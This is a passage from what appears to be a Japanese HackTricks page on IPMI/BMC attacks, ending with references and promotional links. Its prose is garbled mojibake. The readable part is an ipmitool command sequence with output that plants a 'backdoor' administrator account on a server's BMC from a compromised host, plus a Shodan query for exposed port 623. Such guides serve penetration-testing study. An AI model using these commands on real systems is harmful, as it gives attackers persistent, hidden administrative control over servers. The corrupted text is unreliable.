BMCãæèŒãããã¹ãã䟵害ãããå Žåã**BMCãžã®ããŒã«ã«ã€ã³ã¿ãŒãã§ãŒã¹ã䜿çšããŠããã¯ãã¢ãŠãŒã¶ãŒã¢ã«ãŠã³ããå°å
¥**ãããããããµãŒããŒã«æ°žç¶çãªç«å Žã確ç«ããããšãã§ããŸãããã®æ»æã«ã¯ããã¹ãã«**`ipmitool`**ãã€ã³ã¹ããŒã«ãããŠãããBMCã®ããã®ãã©ã€ããŒãµããŒããæå¹ã«ãªã£ãŠããå¿
èŠããããŸãã以äžã®äŸã¯ãèªèšŒãå¿
èŠãšããªããã¹ãäžã®ããŒã«ã«ã€ã³ã¿ãŒãã§ãŒã¹ã䜿çšããŠãBMCã«æ°ãããŠãŒã¶ãŒã¢ã«ãŠã³ãã泚å
¥ããæ¹æ³ã瀺ããŠããŸãããã®æ¹æ³ã¯ãLinuxãWindowsãBSDãããã«ã¯DOSã®ã¿ãŒã²ããã«å¯ŸããŠæ®éçã«äœ¿çšã§ããŸãã
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `port:623`
## åèæç®
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
* [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
* **ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ** HackTricksã§**äŒç€Ÿã宣äŒ**ãããã§ããïŒãŸãã¯ã**PEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒã**ãããã§ããïŒ[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãçºèŠããŸããããç¬å çãª[**NFT**](https://opensea.io/collection/the-peass-family)ã®ã³ã¬ã¯ã·ã§ã³ã§ãã
* [**å
¬åŒã®PEASSïŒHackTricksã®ã°ããº**](https://peass.creator-spring.com)ãæã«å
¥ããŸãããã
* [**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**telegramã°ã«ãŒã**](https://t.me/peass)ã«**åå **ãããã**Twitter**ã§ç§ã**ãã©ããŒ**ããŠãã ãã[**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**ã**
* **ãããã³ã°ã®ããªãã¯ãå
±æããã«ã¯ãPRã** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ãš** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ã«æåºããŠãã ããã**